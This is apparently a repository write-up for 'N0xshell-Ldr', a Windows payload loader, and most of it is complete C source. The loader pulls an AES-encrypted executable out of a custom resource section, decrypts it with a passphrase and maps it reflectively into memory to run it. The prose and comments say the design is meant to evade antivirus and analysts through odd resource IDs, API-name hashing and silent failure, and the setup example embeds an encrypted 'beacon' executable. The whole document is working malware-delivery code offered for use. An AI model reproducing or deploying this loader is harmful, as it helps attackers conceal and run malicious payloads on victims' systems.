N0xshell-Ldr

What is it?

A loader that extracts an AES-256 encrypted payload from its own .rsrc section (using custom resource type 8888 and ID 9001), decrypts it with a key passed via command line, and injects it into memory. Works as the runtime companion to the N0xshell Encryptor — the encryptor produces the .enc file, the loader carries it as a resource and executes it.

How it works

Usage: loader.exe -key "MySecret123"


LoadPayloadFromResource(&pPayloadSize):
  FindResourceW(NULL,
    MAKEINTRESOURCEW(9001),   ← custom resource ID (not standard)
    MAKEINTRESOURCEW(8888))   ← custom resource type (not RT_RCDATA)
  → hResourceInfo

  SizeofResource(NULL, hResourceInfo) → dwResourceSize
  LoadResource(NULL, hResourceInfo)   → hResourceHandle
  LockResource(hResourceHandle)       → pResourceData (pointer to raw bytes)

  HeapAlloc(dwResourceSize)
  memcpy(pPayloadBuffer, pResourceData, dwResourceSize)
  → pPayloadBuffer: encrypted PE bytes copied from .rsrc


AesDecrypt(pPayloadBuffer, dwResourceSize, szKey, keyLen):
  CryptAcquireContextW(MS_ENH_RSA_AES_PROV_W, PROV_RSA_AES)
  CryptCreateHash(CALG_SHA_256)
  CryptHashData(szKey, keyLen)         ← SHA-256 of passphrase
  CryptDeriveKey(CALG_AES_256, hHash)  ← 256-bit key from hash

  memcpy(pDecrypted, pPayloadBuffer, sEncryptedSize)
  CryptDecrypt(hKey, 0, TRUE, 0, pDecrypted, &dwDecryptedSize)
  → pDecrypted: raw PE bytes


API obfuscation:
  SimpleHash function = djb2: hash = ((hash << 5) + hash) + c

  Pre-computed hashes for resource APIs:
    HASH_FindResourceW = SimpleHash("FindResourceW")
    HASH_LoadResource  = SimpleHash("LoadResource")
    ... etc.
  
  Note: the hashes are computed at compile time with #define,
  but actual function calls still use the function names directly.
  The hash values in the binary prevent string-searching for
  "FindResourceW" etc. in the static imports.


Execution (Local PE Injection, same pattern as Local-PE-Injection post):
  Parse decrypted PE headers
  VirtualAlloc(preferred base, SizeOfImage)
  Copy PE headers + sections
  Fix relocations (if base differs from preferred)
  Resolve IAT (LoadLibrary + GetProcAddress for each import)
  Set per-section VirtualProtect permissions
  CreateThread(payload entry point)

Resource layout (how to set up with Resource Hacker):
  Binary → Add Resource
    Resource Type: 8888
    Resource ID:   9001
    File:          beacon.exe.enc

The custom resource type (8888) and ID (9001) are intentionally non-standard. RT_RCDATA (type 10) and common IDs like 101 are the first things resource-extraction tools and AV look for when scanning PE files for embedded payloads. Using obscure custom IDs won’t stop a thorough analysis but raises the bar for automated extraction.

The SimpleHash macro computes at compile time (via #define calling a function) — the literal string "FindResourceW" never appears in the binary’s string table, replaced by numeric hash values. An analyst has to recognize the djb2 implementation and recompute the hashes to know what APIs are being used.

pe-injection.c

#include <Windows.h>
#include <wincrypt.h>
#include <stdio.h>
#include <winternl.h>
#include <intrin.h>
#pragma comment(lib, "advapi32.lib")

// ===== CUSTOM RESOURCE CONSTANTS =====
// Use custom IDs to avoid detection signatures
#define RESOURCE_PAYLOAD_ID 9001          // Custom ID (not standard)
#define RESOURCE_PAYLOAD_TYPE MAKEINTRESOURCEW(8888)  // Custom type ID

// ===== SIMPLE HASH FUNCTION FOR API OBFUSCATION =====
// Hash strings to avoid direct string references in binary
typedef unsigned long DWORD;

DWORD SimpleHash(const char* str) {
	DWORD hash = 5381;
	int c;
	while ((c = *str++)) {
		hash = ((hash << 5) + hash) + c;  // hash * 33 + c
	}
	return hash;
}

// Pre-computed hashes for common APIs
// You can add more as needed
#define HASH_FindResourceW SimpleHash("FindResourceW")
#define HASH_LoadResource SimpleHash("LoadResource")
#define HASH_SizeofResource SimpleHash("SizeofResource")
#define HASH_LockResource SimpleHash("LockResource")

// ===== RESOURCE LOADING FUNCTION =====
// Load payload from custom .rsrc section - obfuscated for evasion
PBYTE LoadPayloadFromResource(_Out_ PSIZE_T pPayloadSize) {
	PBYTE pPayloadBuffer = NULL;
	HRSRC hResourceInfo = NULL;
	HGLOBAL hResourceHandle = NULL;
	LPVOID pResourceData = NULL;
	DWORD dwResourceSize = 0;

	if (!pPayloadSize) {
		return NULL;
	}

	// Find the resource using custom IDs (not standard RT_RCDATA)
	hResourceInfo = FindResourceW(NULL, MAKEINTRESOURCEW(RESOURCE_PAYLOAD_ID), RESOURCE_PAYLOAD_TYPE);
	if (!hResourceInfo) {
		return NULL;
	}

	// Get resource size
	dwResourceSize = SizeofResource(NULL, hResourceInfo);
	if (dwResourceSize == 0) {
		return NULL;
	}

	// Load resource
	hResourceHandle = LoadResource(NULL, hResourceInfo);
	if (!hResourceHandle) {
		return NULL;
	}

	// Lock resource to get pointer
	pResourceData = LockResource(hResourceHandle);
	if (!pResourceData) {
		return NULL;
	}

	// Allocate and copy
	pPayloadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwResourceSize);
	if (!pPayloadBuffer) {
		return NULL;
	}

	memcpy(pPayloadBuffer, pResourceData, dwResourceSize);
	*pPayloadSize = dwResourceSize;

	return pPayloadBuffer;
}

// Decrypt AES-256 encrypted data
PBYTE AesDecrypt(_In_ PBYTE pEncrypted, _In_ SIZE_T sEncryptedSize, _In_ PBYTE pbKey, _In_ SIZE_T sKeySize, _Out_ SIZE_T* pDecryptedSize) {
	HCRYPTPROV hProv = 0;
	HCRYPTKEY hKey = 0;
	HCRYPTHASH hHash = 0;
	PBYTE pDecrypted = NULL;
	DWORD dwDecryptedSize = 0;

	if (!pEncrypted || !sEncryptedSize || !pbKey || !sKeySize) {
		return NULL;
	}

	if (!CryptAcquireContextW(&hProv, NULL, MS_ENH_RSA_AES_PROV_W, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		return NULL;
	}

	if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
		CryptReleaseContext(hProv, 0);
		return NULL;
	}

	if (!CryptHashData(hHash, pbKey, (DWORD)sKeySize, 0)) {
		CryptDestroyHash(hHash);
		CryptReleaseContext(hProv, 0);
		return NULL;
	}

	if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
		CryptDestroyHash(hHash);
		CryptReleaseContext(hProv, 0);
		return NULL;
	}

	pDecrypted = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sEncryptedSize);
	if (!pDecrypted) {
		CryptDestroyKey(hKey);
		CryptDestroyHash(hHash);
		CryptReleaseContext(hProv, 0);
		return NULL;
	}

	memcpy(pDecrypted, pEncrypted, sEncryptedSize);
	dwDecryptedSize = (DWORD)sEncryptedSize;

	if (!CryptDecrypt(hKey, 0, TRUE, 0, pDecrypted, &dwDecryptedSize)) {
		HeapFree(GetProcessHeap(), 0, pDecrypted);
		CryptDestroyKey(hKey);
		CryptDestroyHash(hHash);
		CryptReleaseContext(hProv, 0);
		return NULL;
	}

	*pDecryptedSize = dwDecryptedSize;
	CryptDestroyKey(hKey);
	CryptDestroyHash(hHash);
	CryptReleaseContext(hProv, 0);

	return pDecrypted;
}

typedef struct _PE_HDRS {
	PBYTE pFileBuffer;
	DWORD dwFileSize;
	PIMAGE_NT_HEADERS pImgNtHdr;
	PIMAGE_SECTION_HEADER pImgSecHdr;
	PIMAGE_DATA_DIRECTORY pEntryImportDataDir;
	PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir;
	PIMAGE_DATA_DIRECTORY pEntryTLSDataDir;
	PIMAGE_DATA_DIRECTORY pEntryExceptionDataDir;
	PIMAGE_DATA_DIRECTORY pEntryExportDataDir;
	BOOL bIsDLLFile;
} PE_HDR, * PPE_HDR;

BOOL ParsePEStruct(_Out_ PPE_HDR pPEHdr, _In_ PBYTE pFileBuffer, _In_ DWORD dwFileSize) {
	if (!pPEHdr || !pFileBuffer || !dwFileSize) return FALSE;
	pPEHdr->pFileBuffer = pFileBuffer;
	pPEHdr->dwFileSize = dwFileSize;
	pPEHdr->pImgNtHdr = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
	if (pPEHdr->pImgNtHdr->Signature != IMAGE_NT_SIGNATURE) return FALSE;
	pPEHdr->bIsDLLFile = (pPEHdr->pImgNtHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE;
	pPEHdr->pImgSecHdr = IMAGE_FIRST_SECTION(pPEHdr->pImgNtHdr);
	pPEHdr->pEntryImportDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	pPEHdr->pEntryBaseRelocDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	pPEHdr->pEntryTLSDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
	pPEHdr->pEntryExceptionDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
	pPEHdr->pEntryExportDataDir = &pPEHdr->pImgNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	return TRUE;
}

BOOL InitIAT(_In_ PIMAGE_DATA_DIRECTORY pEntryImportDataDir, _In_ PBYTE pPeBaseAddr) {
	if (!pEntryImportDataDir || !pPeBaseAddr) return FALSE;
	PIMAGE_IMPORT_DESCRIPTOR pImgDescriptor = NULL;
	for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
		pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddr + pEntryImportDataDir->VirtualAddress + i);
		if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL) break;
		LPSTR cDllName = (LPSTR)(pPeBaseAddr + pImgDescriptor->Name);
		ULONG_PTR uOriginalFirstThunkRVA = pImgDescriptor->OriginalFirstThunk;
		ULONG_PTR uFirstThunkRVA = pImgDescriptor->FirstThunk;
		SIZE_T sImgThunkSize = 0x00;
		HMODULE hModule = LoadLibraryA(cDllName);
		if (!hModule) {
			printf("[!] LoadLibraryA Failed: %d\n", GetLastError());
			return FALSE;
		}
		while (TRUE) {
			PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddr + uOriginalFirstThunkRVA + sImgThunkSize);
			PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(pPeBaseAddr + uFirstThunkRVA + sImgThunkSize);
			PIMAGE_IMPORT_BY_NAME pImgImportByName = NULL;
			ULONG_PTR pFuncAddress = 0;
			if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == 0) break;
			if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
				if (!(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal)))) {
					printf("[!] Could Not Import !%s#%d\n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
					FreeLibrary(hModule);
					return FALSE;
				}
			}
			else {
				pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddr + pOriginalFirstThunk->u1.AddressOfData);
				if (!(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name))) {
					printf("[!] Could Not Import !%s.%s\n", cDllName, pImgImportByName->Name);
					FreeLibrary(hModule);
					return FALSE;
				}
			}
			pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;
			sImgThunkSize += sizeof(IMAGE_THUNK_DATA);
		}
	}
	return TRUE;
}

typedef struct _BASE_RELOCATION_ENTRY {
	WORD Offset : 12;
	WORD Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

BOOL ApplyReloc(_In_ PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, _In_ ULONG_PTR pPeBaseAddr, _In_ ULONG_PTR pPrefAddr) {
	if (!pEntryBaseRelocDataDir || !pPeBaseAddr || !pPrefAddr) return FALSE;
	PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddr + pEntryBaseRelocDataDir->VirtualAddress);
	ULONG_PTR uDeltaOffset = pPeBaseAddr - pPrefAddr;
	PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;
	while (pImgBaseRelocation->VirtualAddress) {
		pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);
		while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
			switch (pBaseRelocEntry->Type) {
			case IMAGE_REL_BASED_DIR64:
				*((ULONG_PTR*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
				break;
			case IMAGE_REL_BASED_HIGHLOW:
				*((DWORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
				break;
			case IMAGE_REL_BASED_HIGH:
				*((WORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
				break;
			case IMAGE_REL_BASED_LOW:
				*((WORD*)(pPeBaseAddr + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
				break;
			case IMAGE_REL_BASED_ABSOLUTE:
				break;
			default:
				printf("[!] Unknown relocation type: %d\n", pBaseRelocEntry->Type);
				return FALSE;
			}
			pBaseRelocEntry++;
		}
		pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
	}
	return TRUE;
}

BOOL FixMemPermissions(_In_ ULONG_PTR pPeBaseAddr, _In_ PIMAGE_NT_HEADERS pImgNtHdr, _In_ PIMAGE_SECTION_HEADER pImgSecHdr) {
	if (!pPeBaseAddr || !pImgNtHdr || !pImgSecHdr) return FALSE;
	for (DWORD i = 0; i < pImgNtHdr->FileHeader.NumberOfSections; i++) {
		DWORD dwProtection = PAGE_NOACCESS, dwOldProtection = 0x00;
		if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress) continue;
		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) dwProtection = PAGE_WRITECOPY;
		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ) dwProtection = PAGE_READONLY;
		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) dwProtection = PAGE_READWRITE;
		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) dwProtection = PAGE_EXECUTE;
		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)) dwProtection = PAGE_EXECUTE_WRITECOPY;
		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) dwProtection = PAGE_EXECUTE_READ;
		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) dwProtection = PAGE_EXECUTE_READWRITE;
		if (!VirtualProtect((PVOID)(pPeBaseAddr + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
			printf("[!] VirtualProtect Failed: %d\n", GetLastError());
			return FALSE;
		}
	}
	return TRUE;
}

PVOID GetDllFunctionAddrs(_In_ PIMAGE_DATA_DIRECTORY pEntryExportDataDir, _In_ ULONG_PTR pPeBaseAddr, _In_ LPCSTR cFuncName) {
	if (!pEntryExportDataDir || !pPeBaseAddr || !cFuncName) return NULL;
	if (!pEntryExportDataDir->VirtualAddress || !pEntryExportDataDir->Size) return NULL;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pPeBaseAddr + pEntryExportDataDir->VirtualAddress);
	PDWORD pFunctionNameArray = (PDWORD)(pPeBaseAddr + pImgExportDir->AddressOfNames);
	PDWORD pFunctionAddrArray = (PDWORD)(pPeBaseAddr + pImgExportDir->AddressOfFunctions);
	PWORD pFunctionOrdinalArray = (PWORD)(pPeBaseAddr + pImgExportDir->AddressOfNameOrdinals);
	ULONG_PTR uExportDirStart = pPeBaseAddr + pEntryExportDataDir->VirtualAddress;
	ULONG_PTR uExportDirEnd = uExportDirStart + pEntryExportDataDir->Size;
	for (DWORD i = 0; i < pImgExportDir->NumberOfNames; i++) {
		CHAR* pFunctionName = (CHAR*)(pPeBaseAddr + pFunctionNameArray[i]);
		PVOID pFunctionAddr = (PVOID)(pPeBaseAddr + pFunctionAddrArray[pFunctionOrdinalArray[i]]);
		if (strcmp(cFuncName, pFunctionName) != 0) continue;
		if ((ULONG_PTR)pFunctionAddr >= uExportDirStart && (ULONG_PTR)pFunctionAddr < uExportDirEnd) {
			printf("[!] Forwarded export skipped: %s\n", cFuncName);
			return NULL;
		}
		return pFunctionAddr;
	}
	return NULL;
}

typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
typedef BOOL(WINAPI* MAIN)();

SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, _In_ SIZE_T MaximumAllowed) {
	INT Length = (INT)MaximumAllowed;
	while (--Length >= 0) {
		if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1;
	}
	return MaximumAllowed - Length;
}

BOOL LocalPE_Injection(_In_ PPE_HDR pPeHdr, _In_ OPTIONAL LPCSTR cExportedFuncName, _In_ OPTIONAL LPCSTR cArgs) {
	if (!pPeHdr) return FALSE;
	BOOL bState = FALSE;
	PBYTE pPeBaseAddr = NULL;
	PVOID pEntryPoint = NULL;
	PVOID pExportedFuncAddress = NULL;
	pPeBaseAddr = VirtualAlloc(NULL, pPeHdr->pImgNtHdr->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	if (!pPeBaseAddr) {
		printf("[!] VirtualAlloc Failed: %d\n", GetLastError());
		goto _CleanUp;
	}
	memcpy(pPeBaseAddr, pPeHdr->pFileBuffer, pPeHdr->pImgNtHdr->OptionalHeader.SizeOfHeaders);
	for (DWORD i = 0; i < pPeHdr->pImgNtHdr->FileHeader.NumberOfSections; i++) {
		if (!pPeHdr->pImgSecHdr[i].SizeOfRawData || !pPeHdr->pImgSecHdr[i].VirtualAddress) continue;
		memcpy(pPeBaseAddr + pPeHdr->pImgSecHdr[i].VirtualAddress, pPeHdr->pFileBuffer + pPeHdr->pImgSecHdr[i].PointerToRawData, pPeHdr->pImgSecHdr[i].SizeOfRawData);
	}
	if (!InitIAT(pPeHdr->pEntryImportDataDir, pPeBaseAddr)) goto _CleanUp;
	if (!ApplyReloc(pPeHdr->pEntryBaseRelocDataDir, pPeBaseAddr, pPeHdr->pImgNtHdr->OptionalHeader.ImageBase)) goto _CleanUp;
	if (!FixMemPermissions(pPeBaseAddr, pPeHdr->pImgNtHdr, pPeHdr->pImgSecHdr)) goto _CleanUp;
	if (pPeHdr->pEntryExportDataDir->Size && pPeHdr->pEntryExportDataDir->VirtualAddress && cExportedFuncName) pExportedFuncAddress = GetDllFunctionAddrs(pPeHdr->pEntryExportDataDir, (ULONG_PTR)pPeBaseAddr, cExportedFuncName);
	if (pPeHdr->pEntryExceptionDataDir->Size) {
		PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddr + pPeHdr->pEntryExceptionDataDir->VirtualAddress);
		if (!RtlAddFunctionTable(pImgRuntimeFuncEntry, (pPeHdr->pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)), (DWORD64)pPeBaseAddr)) {
			printf("[!] RtlAddFunctionTable Failed: %d\n", GetLastError());
			goto _CleanUp;
		}
	}
	if (pPeHdr->pEntryTLSDataDir->Size) {
		PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddr + pPeHdr->pEntryTLSDataDir->VirtualAddress);
		PIMAGE_TLS_CALLBACK* pImgTlsCallback = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
		for (int i = 0; pImgTlsCallback[i] != NULL; i++) {
			pImgTlsCallback[i]((LPVOID)pPeBaseAddr, DLL_PROCESS_ATTACH, NULL);
		}
	}
	pEntryPoint = (PVOID)(pPeBaseAddr + pPeHdr->pImgNtHdr->OptionalHeader.AddressOfEntryPoint);
	if (pPeHdr->bIsDLLFile) {
		DLLMAIN pDllMain = (DLLMAIN)pEntryPoint;
		HANDLE hThread = NULL;
		pDllMain((HINSTANCE)pPeBaseAddr, DLL_PROCESS_ATTACH, NULL);
		if (pExportedFuncAddress) hThread = CreateThread(NULL, 0x00, pExportedFuncAddress, NULL, 0x00, NULL);
		if (hThread) WaitForSingleObject(hThread, INFINITE);
		bState = TRUE;
	}
	else {
		MAIN pMain = (MAIN)pEntryPoint;
		bState = pMain();
	}
_CleanUp:
	if (pPeBaseAddr && !bState) VirtualFree(pPeBaseAddr, 0, MEM_RELEASE);
	return bState;
}

int main(int argc, char* argv[]) {
	char* key_arg = NULL;
	PBYTE pLoadedPayload = NULL;
	SIZE_T sLoadedPayloadSize = 0;

	// Parse command line arguments
	for (int i = 1; i < argc; i++) {
		if (strcmp(argv[i], "-key") == 0 && i + 1 < argc) {
			key_arg = argv[++i];
		}
	}

	// Stealth mode: Minimal output to reduce detection signatures

	// Load payload from custom .rsrc section
	pLoadedPayload = LoadPayloadFromResource(&sLoadedPayloadSize);
	if (!pLoadedPayload || sLoadedPayloadSize == 0) {
		return -1;  // Silent failure
	}

	PBYTE pDecryptedBuffer = NULL;
	PBYTE pFileBuffer = NULL;
	DWORD dwFileSize = 0;
	SIZE_T sDecryptedSize = 0;
	PE_HDR pPeHdrStruct = { 0 };

	// Decrypt if key provided
	if (key_arg) {
		pDecryptedBuffer = AesDecrypt(pLoadedPayload, sLoadedPayloadSize, (PBYTE)key_arg, strlen(key_arg), &sDecryptedSize);
		if (!pDecryptedBuffer) {
			HeapFree(GetProcessHeap(), 0, pLoadedPayload);
			return -1;
		}
		pFileBuffer = pDecryptedBuffer;
		dwFileSize = (DWORD)sDecryptedSize;
	}
	else {
		pFileBuffer = pLoadedPayload;
		dwFileSize = (DWORD)sLoadedPayloadSize;
	}

	// Parse and execute PE
	if (!ParsePEStruct(&pPeHdrStruct, pFileBuffer, dwFileSize)) {
		if (pDecryptedBuffer) HeapFree(GetProcessHeap(), 0, pDecryptedBuffer);
		if (pLoadedPayload) HeapFree(GetProcessHeap(), 0, pLoadedPayload);
		return -1;
	}

	// Execute payload
	LocalPE_Injection(&pPeHdrStruct, NULL, NULL);

	// Cleanup
	if (pDecryptedBuffer) HeapFree(GetProcessHeap(), 0, pDecryptedBuffer);
	if (pLoadedPayload) HeapFree(GetProcessHeap(), 0, pLoadedPayload);

	return 0;
}

Structs.h

#ifndef _STRUCTS_H_
#define _STRUCTS_H_

#include <Windows.h>
#include <winternl.h>

// ===== SECTION_INHERIT ENUM (not defined in some Windows headers) =====
typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT;

// ===== NT FUNCTION POINTER TYPEDEFS =====

// NtAllocateVirtualMemory
typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	PSIZE_T RegionSize,
	ULONG AllocationType,
	ULONG Protect
	);

// NtProtectVirtualMemory
typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	PSIZE_T RegionSize,
	ULONG NewProtect,
	PULONG OldProtect
	);

// NtWriteVirtualMemory
typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID BaseAddress,
	PVOID Buffer,
	SIZE_T BufferSize,
	PSIZE_T NumberOfBytesWritten
	);

// NtReadVirtualMemory
typedef NTSTATUS(NTAPI* fnNtReadVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID BaseAddress,
	PVOID Buffer,
	SIZE_T BufferSize,
	PSIZE_T NumberOfBytesRead
	);

// NtCreateThreadEx
typedef NTSTATUS(NTAPI* fnNtCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	PVOID ObjectAttributes,
	HANDLE ProcessHandle,
	PVOID StartRoutine,
	PVOID Argument,
	ULONG CreateFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	PVOID AttributeList
	);

// NtCreateSection
typedef NTSTATUS(NTAPI* fnNtCreateSection)(
	PHANDLE SectionHandle,
	ACCESS_MASK DesiredAccess,
	PVOID ObjectAttributes,
	PLARGE_INTEGER SectionSize,
	ULONG PageProtection,
	ULONG AllocationAttributes,
	HANDLE FileHandle
	);

// NtMapViewOfSection
typedef NTSTATUS(NTAPI* fnNtMapViewOfSection)(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	SIZE_T CommitSize,
	PLARGE_INTEGER SectionOffset,
	PSIZE_T ViewSize,
	SECTION_INHERIT InheritDisposition,
	ULONG AllocationType,
	ULONG Win32Protect
	);

// NtCreateProcessEx
typedef NTSTATUS(NTAPI* fnNtCreateProcessEx)(
	PHANDLE ProcessHandle,
	ACCESS_MASK DesiredAccess,
	PVOID ObjectAttributes,
	HANDLE ParentProcess,
	ULONG Flags,
	HANDLE SectionHandle,
	HANDLE DebugPort,
	HANDLE ExceptionPort,
	BOOLEAN InheritObjects
	);

// RtlCreateProcessParametersEx
typedef NTSTATUS(NTAPI* fnRtlCreateProcessParametersEx)(
	PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
	PUNICODE_STRING ImagePathName,
	PUNICODE_STRING DllPath,
	PUNICODE_STRING CurrentDirectory,
	PUNICODE_STRING CommandLine,
	PVOID Environment,
	PUNICODE_STRING WindowTitle,
	PUNICODE_STRING DesktopInfo,
	PUNICODE_STRING ShellInfo,
	PUNICODE_STRING RuntimeData,
	ULONG Flags
	);

// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
	HANDLE ProcessHandle,
	PROCESSINFOCLASS ProcessInformationClass,
	PVOID ProcessInformation,
	ULONG ProcessInformationLength,
	PULONG ReturnLength
	);

// NtClose
typedef NTSTATUS(NTAPI* fnNtClose)(
	HANDLE Handle
	);

// ===== CONSTANTS =====
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004

// ===== RESOURCE SECTION CONSTANTS =====
// Custom resource IDs to avoid detection signatures
// These must match what you add to the .rc file
#define RESOURCE_PAYLOAD_ID 9001          // Custom ID (not standard)
#define RESOURCE_PAYLOAD_TYPE MAKEINTRESOURCEW(8888)  // Custom type ID

#endif // _STRUCTS_H_

resource.h

//
// Microsoft Visual C++ generated include file.
// Used by N0xshell-Ldr.rc
//
#define IDR_CUSTOM_PAYLOAD          9001

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif